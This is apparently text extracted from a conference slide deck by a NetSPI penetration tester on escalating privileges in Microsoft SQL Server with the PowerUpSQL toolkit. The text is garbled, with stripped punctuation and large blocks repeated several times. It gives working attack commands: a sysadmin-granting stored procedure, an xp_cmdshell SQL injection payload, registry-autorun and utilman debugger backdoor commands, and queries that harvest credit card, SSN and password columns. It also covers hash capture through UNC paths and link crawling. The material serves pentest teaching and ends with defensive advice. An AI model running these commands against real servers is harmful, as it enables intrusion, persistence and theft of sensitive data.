Get-SQLInstanceDomain -Verbose |Get-SQLDatabaseThreaded ndashVerbose ndashThreads 10 -NoDefaults |Where-Object $_is_encrypted ndasheq ldquoTRUErdquo
Locate and Sample Sensitive Columnsand Export to CSV
Get-SQLInstanceDomain -Verbose | Get-SQLColumnSampleDataThreaded ndashVerbose ndashThreads 10 ndashKeyword ldquocreditssnpasswordrdquo ndashSampleSize 2 ndashValidateCC ndashNoDefaults |Export-CSV ndashNoTypeInformation ctempdatasamplecsv
Post Exploitation Finding Sensitive Data
DEMO
Post Exploitation Finding Sensitive Data
DEMO
GeneralRecommendations
General RecommendationsThings to dohellip
1 Enforce least privilege everywhere
2 Disable dangerous default stored procedures
3 Audit and fix insecure configurations
4 Use policy based management for standardizing configurations
5 Enable auditing at the server and database levels and monitor for potentially malicious activity
PowerUpSQL Overview Thanks
Individual Third Party Code Direct Contributors
Boe Prox Runspace blogs
Warren F ( RamblingCookieMonster) Invoke-Parallel function
Oyvind Kallstad Test-IsLuhnValid function
Kevin Robertson Invoke-Inveigh
Joe Bialek Invoke-TokenManipulation
Antti Rantasaari Eric Gruber and Alexander Leary leoloobeek and ktaranov
Contributions and QA
Khai Tran Design advice
NetSPI assessment team and dev team Design advice
Speaker Information
Name Scott Sutherland
Job Network amp Application Pentester NetSPI
Twitter _nullbind
Slides httpslidesharenetnullbindhttpslidesharenetnetspi
Blogs httpsblognetspicomauthorscott-sutherland
Code httpsgithubcomnetspiPowerUpSQLhttpsgithubcomnullbind
Escalating Privileges ImpersonationImpersonate Privilege
bull Can be used at server layer
o EXECUTE AS LOGIN
bull Can be used at database layer
o EXECUTE AS USER
Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues
bull EXECUTE AS OWNER can be used to execute a stored procedure as another login
Prosbull Can execute queriescommands in another user contextbull Limit commands and queries bull Donrsquot have to grant IMPERSONATE
Consbull No granular control over the database ownerrsquos
privilegesbull DB_OWNER role can EXECUTE AS OWNER of the DB
which is often a sysadminbull Requires database to be configured as trustworthy for
OS command executionbull Impersonation can be done via SQL injection under
specific conditionsbull Impersonation can be done via command injection
under specific conditions
Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues
bull EXECUTE AS OWNER can be used to execute a stored procedure as another login
bull DB_OWNER role can impersonate the actual database owner
USE MyAppDbGOCREATE PROCEDURE sp_escalate_meWITH EXECUTE AS OWNERASEXEC sp_addsrvrolemember MyAppUsersysadminGO
Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues
bull EXECUTE AS OWNER can be used to execute a stored procedure as another login
bull DB_OWNER role can impersonate the actual database owner
USE MyAppDbGOCREATE PROCEDURE sp_escalate_meWITH EXECUTE AS OWNERASEXEC sp_addsrvrolemember MyAppUsersysadminGO
SYSADMIN is often the
OWNER
Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues
bull Use signed Procedures
o Create stored procedure
o Create a database master key
o Create a certificate
o Create a login from the certificate
o Configure login privileges
o Sign stored procedure with certifiate
o GRANT EXECUTE to User
Prosbull Can execute queriescommands in another user
contextbull Limit commands and queries bull Donrsquot have to grant IMPERSONATEbull Granular control over permissionsbull Database does NOT have to be configured as
trustworthy for OS command execution
Consbull Impersonation can be done via SQL injection
under specific conditionsbull Impersonation can be done via command
injection under specific conditions
Escalating Privileges ImpersonationSQL Injection Example CREATE PROCEDURE sp_sqli2
DbName varchar(max) ASBEGINDeclare query as varchar(max)SET query = lsquoSELECT name FROM mastersysdatabases WHERE name like + DbName+ OR name=tempdb EXECUTE(query)ENDGO
httpsblognetspicomhacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation
Escalating Privileges ImpersonationSQL Injection Example CREATE PROCEDURE sp_sqli2
DbName varchar(max) ASBEGINDeclare query as varchar(max)SET query = lsquoSELECT name FROM mastersysdatabases WHERE name like + DbName+ OR name=tempdb EXECUTE(query)ENDGO
PURE EVIL
httpsblognetspicomhacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation
Escalating Privileges ImpersonationSQL Injection Example
EXEC MASTERdbosp_sqli2 masterEXEC masterxp_cmdshell whoami--
httpsblognetspicomhacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation
Escalating Privileges ImpersonationSQL Injection Example
Escalating Privileges ImpersonationAutomatic Execution of Stored Procedure
bull Stored procedures ca be configured to execute when the SQL Server service restarts
Prosbull Marking a stored procedure to run when the SQL
Server service restarts has many use casesbull Only stored procedures in the master database
can be marked for auto execution
Consbull No granular control over what context the startup
command is executed inbull All stored procedures marked for auto execution
are executed as lsquosarsquo even if lsquosarsquo is disabledbull Any non sysadmin access to stored procedures
can lead to execution as lsquosarsquo
Escalating Privileges DEMO
DEMOInvoke-SQLAudit
Escalating Privileges Invoke-SQLPrivEsc
Whooray for Automation Demo
Escalating Privileges DEMO
DEMOInvoke-SQLEscalatePriv
Escalating Privileges Invoke-SQLPrivEsc
DEMO
EscalatingPrivileges
SysAdmin to Service Account
Escalating Privileges SysAdmin to Service AccountOS Command Execution = Service Account Impersonation
Executing OS Commands xp_cmdshell Custom Assemblies (net) Custom Extended Stored Procedures (C++) Agent Jobs
o ActiveX Vbscript Jscript and Othero CmdExeco PowerShello SSIS Package
Registry Autoruns File Autoruns
Escalating Privileges SysAdmin to Service AccountOS Command Execution = Service Account Impersonation
You donrsquot need to know the password crack a hash or PTH
Service Account Types Local User Local System Network Service Local managed service account Domain managed service account Domain User Domain Admin
Escalating Privileges SysAdmin to Service AccountBut wait therersquos morehellipRottenPotato DerbyCon 2016
- Authors Chris Mallz (vvalien1) amp Steve Breen (breenmachine)
- We can now escalation from service account to LocalSystem
- No patch that Irsquom aware of
Check out their blog for details
httpsfoxglovesecuritycom20160926rotten-potato-privilege-escalation-from-service-accounts-to-system
Escalating Privileges Invoke-SQLOSCmdInvoke-SQLOSCMD can be used for basic command execution
PS Cgt$Accessible | Invoke-SQLOSCmd ndashVerbose ndashCommand ldquowhoamirdquo ndashThreads 10 ComputerName Instance CommandResults --------------------- ----------- -------------- SQLServer1 SQLServer1SQLEXPRESS nt servicemssql$sqlexpress SQLServer1 SQLServer1STANDARDDEV2014 nt authoritysystem SQLServer1 SQLServer1 DomainSQLSvc
EscalatingPrivileges
Shared Service Accounts
Escalating Privileges Shared Service AccountsWhy should I care about shared service accounts
1 SysAdmins can execute OS commands2 OS commands run as the SQL Server service account 3 Service accounts have sysadmin privileges by default4 Companies often use a single domain account to run hundreds of SQL Servers5 So if you get sysadmin on one server you have it on all of them
One account to rule them all
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
LVA
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging Shared MS SQL Server Service Accounts
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
LVA
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging Shared MS SQL Server Service Accounts
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
LVA
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Execute Local Command via xp_cmdshell
2
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging Shared MS SQL Server Service Accounts
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
LVA
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Execute Local Command via xp_cmdshell
2
Access to HVA with shared domain service account
Key
HVA = High Value Application
LVA = Low Value Application
Execute commands and gather data from other
database servers via osql
3
Leveraging Shared MS SQL Server Service Accounts
EscalatingPrivileges
Crawling Server Links
Escalating Privileges Crawling Server LinksWhatrsquos a database link
Database links are basically persistent database connections for SQL Servers
Why should I care
Short answer = privilege escalation
Public role can use links to execute queries on remote servers (impersonation)
SELECT FROM OpenQuery([SQLSERVER2]rsquoSELECT Versionrsquo)
Stored procedures can be executed (xp_cmdshell)
Links can be crawled
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain EvilKey
HVA = High Value Application
LVA = Low Value Application
Leveraging MS SQL Database links
DB1
LVA
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging MS SQL Database links
DB1
LVA
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging MS SQL Database links
DB Link with
Least Privileges
DB1
LVA
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging MS SQL Database links
DB Link with
Least Privileges
DB Link with
SA account
DB1
LVA
Execute SQL queries and local commands on
database servers via nested linked services
2
Escalating Privileges Crawling Server Links
Penetration Test Stats
Database links exist (and can be crawled) in about 50 of environments wersquove seen
The max number of hops wersquove seen is 12
The max number of servers crawled is 226
Escalating Privileges Crawling Server Links
Old Script
2012 - httpswwwrapid7comdbmodulesexploitwindowsmssqlmssql_linkcrawler
New Script
scriptspendingGet-SqlServerLinkCrawlps1
Author Antti Rantasaari
Escalating Privileges Crawling Server Links
DEMO
Escalating Privileges Database Links
DEMO
Escalating Privileges Crawling Server Links
EscalatingPrivileges
UNC Path Injection
Escalating Privileges UNC Path Injection
UNC Path Injection Summary
UNC paths are used for accessing remote file servers like so 19216814file
Almost all procedures that accept a file path in SQL Server support UNC paths
UNC paths can be used to force the SQL Server service account to authenticate to an attacker
An attacker can then capture the NetNTLM password hash and crack or relay it
Relay becomes pretty easy when you know which SQL Servers are using shared accounts
Escalating Privileges UNC Path Injection
Escalating Privileges UNC Path Injection
Oh yeahhellip
By DEFAULT the PUBLIC role can execute (at least) two procedures that accept a file path
xp_dirtreexp_fileexists
Escalating Privileges UNC Path Injection
So in summaryhellip
The PUBLIC role can access the SQL Server service account NetNTLM
password hash by default
Escalating Privileges UNC Path Injection
But who really hasPUBLIC role access
Oh yeah a ton of domain users
Escalating Privileges DEMO
DEMOGet-SQLServiceAccountPwHashes
hellipwhat Itrsquos self descriptive
Escalating Privileges UNC Path Injection
DEMO
EscalatingPrivileges
OS Admin to SysAdmin
Escalating Privileges OS Admin to SysAdminTwo things to knowhellip
1 Different SQL Server versions can be abused in different ways2 All SQL Server versions provide the service account with sysadmin privileges
Escalating Privileges OS Admin to SysAdmin
Approach 2000 2005 2008 2012 2014 2016
LSA Secrets x x x x x x
Local Administrator x x
LocalSystem x x x
Process Migration x x x x x x
Token Stealing x x x x x X
Single User Mode x x x x x
Below are some options for leveraging that knowledge
Escalating Privileges OS Admin to SysAdminHere are some tool options
Approach Common Tools
Access as Local Administrator Management Studio sqlcmd and other native SQL client tools
Access as LocalSystem Psexec accessibility options debugger with native SQL client tools
Recover SQL Server service account password from LSA Secrets
Mimikatz Metasploit lsadump
Inject shellcode or DLL into the SQL Server service process
Metasploit Empire Python Powershell C C++ (LoadLibraryCreateRemoteThread and similar functions)
Steal Authentication Token From SQL Server service process
Metasploit Incognito Invoke-TokenManipulation
Single User Mode DBATools
Common Post Exploitation Activities
Post Exploitation OverviewCommon Post Exploitation Activities
1 Establish Persistencebull SQL Server Layer startup procedures agent jobs triggers modified codebull OS Layer Registry amp file auto runs tasks services etc
2 Identify Sensitive Databull Target large databasesbull Locate transparently encrypted databasesbull Search columns based on keywords and sample databull Use regular expressions and the Luhn formula against data samples
3 Exfiltrate Sensitive Databull All standard methods Copy database TCP ports UDP ports DNS
tunneling ICMP tunneling email HTTP shares links etc (No exfil in PowerUpSQL yet)
Post Exploitation PersistenceTask Command Example
Registry Autorun Persistence
Get-SQLPersistRegRun -Verbose -Name EvilSauce -Command EvilBoxEvilSandwichexe -Instance SQLServer1STANDARDDEV2014
Debugger Backdoor Persistence
Get-SQLPersistRegDebugger -Verbose -FileName utilmanexe -Command cwindowssystem32cmdexe -Instance SQLServer1STANDARDDEV2014
Post Exploitation Persistence
Post Exploitation Finding Sensitive DataTask Command Example
Locate Encrypted Databases
Get-SQLInstanceDomain -Verbose |Get-SQLDatabaseThreaded ndashVerbose ndashThreads 10 -NoDefaults |Where-Object $_is_encrypted ndasheq ldquoTRUErdquo
Locate and Sample Sensitive Columnsand Export to CSV
Get-SQLInstanceDomain -Verbose | Get-SQLColumnSampleDataThreaded ndashVerbose ndashThreads 10 ndashKeyword ldquocreditssnpasswordrdquo ndashSampleSize 2 ndashValidateCC ndashNoDefaults |Export-CSV ndashNoTypeInformation ctempdatasamplecsv
Post Exploitation Finding Sensitive Data
DEMO
Post Exploitation Finding Sensitive Data
DEMO
GeneralRecommendations
General RecommendationsThings to dohellip
1 Enforce least privilege everywhere
2 Disable dangerous default stored procedures
3 Audit and fix insecure configurations
4 Use policy based management for standardizing configurations
5 Enable auditing at the server and database levels and monitor for potentially malicious activity
PowerUpSQL Overview Thanks
Individual Third Party Code Direct Contributors
Boe Prox Runspace blogs
Warren F ( RamblingCookieMonster) Invoke-Parallel function
Oyvind Kallstad Test-IsLuhnValid function
Kevin Robertson Invoke-Inveigh
Joe Bialek Invoke-TokenManipulation
Antti Rantasaari Eric Gruber and Alexander Leary leoloobeek and ktaranov
Contributions and QA
Khai Tran Design advice
NetSPI assessment team and dev team Design advice
Speaker Information
Name Scott Sutherland
Job Network amp Application Pentester NetSPI
Twitter _nullbind
Slides httpslidesharenetnullbindhttpslidesharenetnetspi
Blogs httpsblognetspicomauthorscott-sutherland
Code httpsgithubcomnetspiPowerUpSQLhttpsgithubcomnullbind
Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues
bull EXECUTE AS OWNER can be used to execute a stored procedure as another login
Prosbull Can execute queriescommands in another user contextbull Limit commands and queries bull Donrsquot have to grant IMPERSONATE
Consbull No granular control over the database ownerrsquos
privilegesbull DB_OWNER role can EXECUTE AS OWNER of the DB
which is often a sysadminbull Requires database to be configured as trustworthy for
OS command executionbull Impersonation can be done via SQL injection under
specific conditionsbull Impersonation can be done via command injection
under specific conditions
Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues
bull EXECUTE AS OWNER can be used to execute a stored procedure as another login
bull DB_OWNER role can impersonate the actual database owner
USE MyAppDbGOCREATE PROCEDURE sp_escalate_meWITH EXECUTE AS OWNERASEXEC sp_addsrvrolemember MyAppUsersysadminGO
Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues
bull EXECUTE AS OWNER can be used to execute a stored procedure as another login
bull DB_OWNER role can impersonate the actual database owner
USE MyAppDbGOCREATE PROCEDURE sp_escalate_meWITH EXECUTE AS OWNERASEXEC sp_addsrvrolemember MyAppUsersysadminGO
SYSADMIN is often the
OWNER
Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues
bull Use signed Procedures
o Create stored procedure
o Create a database master key
o Create a certificate
o Create a login from the certificate
o Configure login privileges
o Sign stored procedure with certifiate
o GRANT EXECUTE to User
Prosbull Can execute queriescommands in another user
contextbull Limit commands and queries bull Donrsquot have to grant IMPERSONATEbull Granular control over permissionsbull Database does NOT have to be configured as
trustworthy for OS command execution
Consbull Impersonation can be done via SQL injection
under specific conditionsbull Impersonation can be done via command
injection under specific conditions
Escalating Privileges ImpersonationSQL Injection Example CREATE PROCEDURE sp_sqli2
DbName varchar(max) ASBEGINDeclare query as varchar(max)SET query = lsquoSELECT name FROM mastersysdatabases WHERE name like + DbName+ OR name=tempdb EXECUTE(query)ENDGO
httpsblognetspicomhacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation
Escalating Privileges ImpersonationSQL Injection Example CREATE PROCEDURE sp_sqli2
DbName varchar(max) ASBEGINDeclare query as varchar(max)SET query = lsquoSELECT name FROM mastersysdatabases WHERE name like + DbName+ OR name=tempdb EXECUTE(query)ENDGO
PURE EVIL
httpsblognetspicomhacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation
Escalating Privileges ImpersonationSQL Injection Example
EXEC MASTERdbosp_sqli2 masterEXEC masterxp_cmdshell whoami--
httpsblognetspicomhacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation
Escalating Privileges ImpersonationSQL Injection Example
Escalating Privileges ImpersonationAutomatic Execution of Stored Procedure
bull Stored procedures ca be configured to execute when the SQL Server service restarts
Prosbull Marking a stored procedure to run when the SQL
Server service restarts has many use casesbull Only stored procedures in the master database
can be marked for auto execution
Consbull No granular control over what context the startup
command is executed inbull All stored procedures marked for auto execution
are executed as lsquosarsquo even if lsquosarsquo is disabledbull Any non sysadmin access to stored procedures
can lead to execution as lsquosarsquo
Escalating Privileges DEMO
DEMOInvoke-SQLAudit
Escalating Privileges Invoke-SQLPrivEsc
Whooray for Automation Demo
Escalating Privileges DEMO
DEMOInvoke-SQLEscalatePriv
Escalating Privileges Invoke-SQLPrivEsc
DEMO
EscalatingPrivileges
SysAdmin to Service Account
Escalating Privileges SysAdmin to Service AccountOS Command Execution = Service Account Impersonation
Executing OS Commands xp_cmdshell Custom Assemblies (net) Custom Extended Stored Procedures (C++) Agent Jobs
o ActiveX Vbscript Jscript and Othero CmdExeco PowerShello SSIS Package
Registry Autoruns File Autoruns
Escalating Privileges SysAdmin to Service AccountOS Command Execution = Service Account Impersonation
You donrsquot need to know the password crack a hash or PTH
Service Account Types Local User Local System Network Service Local managed service account Domain managed service account Domain User Domain Admin
Escalating Privileges SysAdmin to Service AccountBut wait therersquos morehellipRottenPotato DerbyCon 2016
- Authors Chris Mallz (vvalien1) amp Steve Breen (breenmachine)
- We can now escalation from service account to LocalSystem
- No patch that Irsquom aware of
Check out their blog for details
httpsfoxglovesecuritycom20160926rotten-potato-privilege-escalation-from-service-accounts-to-system
Escalating Privileges Invoke-SQLOSCmdInvoke-SQLOSCMD can be used for basic command execution
PS Cgt$Accessible | Invoke-SQLOSCmd ndashVerbose ndashCommand ldquowhoamirdquo ndashThreads 10 ComputerName Instance CommandResults --------------------- ----------- -------------- SQLServer1 SQLServer1SQLEXPRESS nt servicemssql$sqlexpress SQLServer1 SQLServer1STANDARDDEV2014 nt authoritysystem SQLServer1 SQLServer1 DomainSQLSvc
EscalatingPrivileges
Shared Service Accounts
Escalating Privileges Shared Service AccountsWhy should I care about shared service accounts
1 SysAdmins can execute OS commands2 OS commands run as the SQL Server service account 3 Service accounts have sysadmin privileges by default4 Companies often use a single domain account to run hundreds of SQL Servers5 So if you get sysadmin on one server you have it on all of them
One account to rule them all
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
LVA
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging Shared MS SQL Server Service Accounts
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
LVA
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging Shared MS SQL Server Service Accounts
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
LVA
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Execute Local Command via xp_cmdshell
2
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging Shared MS SQL Server Service Accounts
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
LVA
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Execute Local Command via xp_cmdshell
2
Access to HVA with shared domain service account
Key
HVA = High Value Application
LVA = Low Value Application
Execute commands and gather data from other
database servers via osql
3
Leveraging Shared MS SQL Server Service Accounts
EscalatingPrivileges
Crawling Server Links
Escalating Privileges Crawling Server LinksWhatrsquos a database link
Database links are basically persistent database connections for SQL Servers
Why should I care
Short answer = privilege escalation
Public role can use links to execute queries on remote servers (impersonation)
SELECT FROM OpenQuery([SQLSERVER2]rsquoSELECT Versionrsquo)
Stored procedures can be executed (xp_cmdshell)
Links can be crawled
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain EvilKey
HVA = High Value Application
LVA = Low Value Application
Leveraging MS SQL Database links
DB1
LVA
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging MS SQL Database links
DB1
LVA
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging MS SQL Database links
DB Link with
Least Privileges
DB1
LVA
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging MS SQL Database links
DB Link with
Least Privileges
DB Link with
SA account
DB1
LVA
Execute SQL queries and local commands on
database servers via nested linked services
2
Escalating Privileges Crawling Server Links
Penetration Test Stats
Database links exist (and can be crawled) in about 50 of environments wersquove seen
The max number of hops wersquove seen is 12
The max number of servers crawled is 226
Escalating Privileges Crawling Server Links
Old Script
2012 - httpswwwrapid7comdbmodulesexploitwindowsmssqlmssql_linkcrawler
New Script
scriptspendingGet-SqlServerLinkCrawlps1
Author Antti Rantasaari
Escalating Privileges Crawling Server Links
DEMO
Escalating Privileges Database Links
DEMO
Escalating Privileges Crawling Server Links
EscalatingPrivileges
UNC Path Injection
Escalating Privileges UNC Path Injection
UNC Path Injection Summary
UNC paths are used for accessing remote file servers like so 19216814file
Almost all procedures that accept a file path in SQL Server support UNC paths
UNC paths can be used to force the SQL Server service account to authenticate to an attacker
An attacker can then capture the NetNTLM password hash and crack or relay it
Relay becomes pretty easy when you know which SQL Servers are using shared accounts
Escalating Privileges UNC Path Injection
Escalating Privileges UNC Path Injection
Oh yeahhellip
By DEFAULT the PUBLIC role can execute (at least) two procedures that accept a file path
xp_dirtreexp_fileexists
Escalating Privileges UNC Path Injection
So in summaryhellip
The PUBLIC role can access the SQL Server service account NetNTLM
password hash by default
Escalating Privileges UNC Path Injection
But who really hasPUBLIC role access
Oh yeah a ton of domain users
Escalating Privileges DEMO
DEMOGet-SQLServiceAccountPwHashes
hellipwhat Itrsquos self descriptive
Escalating Privileges UNC Path Injection
DEMO
EscalatingPrivileges
OS Admin to SysAdmin
Escalating Privileges OS Admin to SysAdminTwo things to knowhellip
1 Different SQL Server versions can be abused in different ways2 All SQL Server versions provide the service account with sysadmin privileges
Escalating Privileges OS Admin to SysAdmin
Approach 2000 2005 2008 2012 2014 2016
LSA Secrets x x x x x x
Local Administrator x x
LocalSystem x x x
Process Migration x x x x x x
Token Stealing x x x x x X
Single User Mode x x x x x
Below are some options for leveraging that knowledge
Escalating Privileges OS Admin to SysAdminHere are some tool options
Approach Common Tools
Access as Local Administrator Management Studio sqlcmd and other native SQL client tools
Access as LocalSystem Psexec accessibility options debugger with native SQL client tools
Recover SQL Server service account password from LSA Secrets
Mimikatz Metasploit lsadump
Inject shellcode or DLL into the SQL Server service process
Metasploit Empire Python Powershell C C++ (LoadLibraryCreateRemoteThread and similar functions)
Steal Authentication Token From SQL Server service process
Metasploit Incognito Invoke-TokenManipulation
Single User Mode DBATools
Common Post Exploitation Activities
Post Exploitation OverviewCommon Post Exploitation Activities
1 Establish Persistencebull SQL Server Layer startup procedures agent jobs triggers modified codebull OS Layer Registry amp file auto runs tasks services etc
2 Identify Sensitive Databull Target large databasesbull Locate transparently encrypted databasesbull Search columns based on keywords and sample databull Use regular expressions and the Luhn formula against data samples
3 Exfiltrate Sensitive Databull All standard methods Copy database TCP ports UDP ports DNS
tunneling ICMP tunneling email HTTP shares links etc (No exfil in PowerUpSQL yet)
Post Exploitation PersistenceTask Command Example
Registry Autorun Persistence
Get-SQLPersistRegRun -Verbose -Name EvilSauce -Command EvilBoxEvilSandwichexe -Instance SQLServer1STANDARDDEV2014
Debugger Backdoor Persistence
Get-SQLPersistRegDebugger -Verbose -FileName utilmanexe -Command cwindowssystem32cmdexe -Instance SQLServer1STANDARDDEV2014
Post Exploitation Persistence
Post Exploitation Finding Sensitive DataTask Command Example
Locate Encrypted Databases
Get-SQLInstanceDomain -Verbose |Get-SQLDatabaseThreaded ndashVerbose ndashThreads 10 -NoDefaults |Where-Object $_is_encrypted ndasheq ldquoTRUErdquo
Locate and Sample Sensitive Columnsand Export to CSV
Get-SQLInstanceDomain -Verbose | Get-SQLColumnSampleDataThreaded ndashVerbose ndashThreads 10 ndashKeyword ldquocreditssnpasswordrdquo ndashSampleSize 2 ndashValidateCC ndashNoDefaults |Export-CSV ndashNoTypeInformation ctempdatasamplecsv
Post Exploitation Finding Sensitive Data
DEMO
Post Exploitation Finding Sensitive Data
DEMO
GeneralRecommendations
General RecommendationsThings to dohellip
1 Enforce least privilege everywhere
2 Disable dangerous default stored procedures
3 Audit and fix insecure configurations
4 Use policy based management for standardizing configurations
5 Enable auditing at the server and database levels and monitor for potentially malicious activity
PowerUpSQL Overview Thanks
Individual Third Party Code Direct Contributors
Boe Prox Runspace blogs
Warren F ( RamblingCookieMonster) Invoke-Parallel function
Oyvind Kallstad Test-IsLuhnValid function
Kevin Robertson Invoke-Inveigh
Joe Bialek Invoke-TokenManipulation
Antti Rantasaari Eric Gruber and Alexander Leary leoloobeek and ktaranov
Contributions and QA
Khai Tran Design advice
NetSPI assessment team and dev team Design advice
Speaker Information
Name Scott Sutherland
Job Network amp Application Pentester NetSPI
Twitter _nullbind
Slides httpslidesharenetnullbindhttpslidesharenetnetspi
Blogs httpsblognetspicomauthorscott-sutherland
Code httpsgithubcomnetspiPowerUpSQLhttpsgithubcomnullbind
Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues
bull EXECUTE AS OWNER can be used to execute a stored procedure as another login
bull DB_OWNER role can impersonate the actual database owner
USE MyAppDbGOCREATE PROCEDURE sp_escalate_meWITH EXECUTE AS OWNERASEXEC sp_addsrvrolemember MyAppUsersysadminGO
Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues
bull EXECUTE AS OWNER can be used to execute a stored procedure as another login
bull DB_OWNER role can impersonate the actual database owner
USE MyAppDbGOCREATE PROCEDURE sp_escalate_meWITH EXECUTE AS OWNERASEXEC sp_addsrvrolemember MyAppUsersysadminGO
SYSADMIN is often the
OWNER
Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues
bull Use signed Procedures
o Create stored procedure
o Create a database master key
o Create a certificate
o Create a login from the certificate
o Configure login privileges
o Sign stored procedure with certifiate
o GRANT EXECUTE to User
Prosbull Can execute queriescommands in another user
contextbull Limit commands and queries bull Donrsquot have to grant IMPERSONATEbull Granular control over permissionsbull Database does NOT have to be configured as
trustworthy for OS command execution
Consbull Impersonation can be done via SQL injection
under specific conditionsbull Impersonation can be done via command
injection under specific conditions
Escalating Privileges ImpersonationSQL Injection Example CREATE PROCEDURE sp_sqli2
DbName varchar(max) ASBEGINDeclare query as varchar(max)SET query = lsquoSELECT name FROM mastersysdatabases WHERE name like + DbName+ OR name=tempdb EXECUTE(query)ENDGO
httpsblognetspicomhacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation
Escalating Privileges ImpersonationSQL Injection Example CREATE PROCEDURE sp_sqli2
DbName varchar(max) ASBEGINDeclare query as varchar(max)SET query = lsquoSELECT name FROM mastersysdatabases WHERE name like + DbName+ OR name=tempdb EXECUTE(query)ENDGO
PURE EVIL
httpsblognetspicomhacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation
Escalating Privileges ImpersonationSQL Injection Example
EXEC MASTERdbosp_sqli2 masterEXEC masterxp_cmdshell whoami--
httpsblognetspicomhacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation
Escalating Privileges ImpersonationSQL Injection Example
Escalating Privileges ImpersonationAutomatic Execution of Stored Procedure
bull Stored procedures ca be configured to execute when the SQL Server service restarts
Prosbull Marking a stored procedure to run when the SQL
Server service restarts has many use casesbull Only stored procedures in the master database
can be marked for auto execution
Consbull No granular control over what context the startup
command is executed inbull All stored procedures marked for auto execution
are executed as lsquosarsquo even if lsquosarsquo is disabledbull Any non sysadmin access to stored procedures
can lead to execution as lsquosarsquo
Escalating Privileges DEMO
DEMOInvoke-SQLAudit
Escalating Privileges Invoke-SQLPrivEsc
Whooray for Automation Demo
Escalating Privileges DEMO
DEMOInvoke-SQLEscalatePriv
Escalating Privileges Invoke-SQLPrivEsc
DEMO
EscalatingPrivileges
SysAdmin to Service Account
Escalating Privileges SysAdmin to Service AccountOS Command Execution = Service Account Impersonation
Executing OS Commands xp_cmdshell Custom Assemblies (net) Custom Extended Stored Procedures (C++) Agent Jobs
o ActiveX Vbscript Jscript and Othero CmdExeco PowerShello SSIS Package
Registry Autoruns File Autoruns
Escalating Privileges SysAdmin to Service AccountOS Command Execution = Service Account Impersonation
You donrsquot need to know the password crack a hash or PTH
Service Account Types Local User Local System Network Service Local managed service account Domain managed service account Domain User Domain Admin
Escalating Privileges SysAdmin to Service AccountBut wait therersquos morehellipRottenPotato DerbyCon 2016
- Authors Chris Mallz (vvalien1) amp Steve Breen (breenmachine)
- We can now escalation from service account to LocalSystem
- No patch that Irsquom aware of
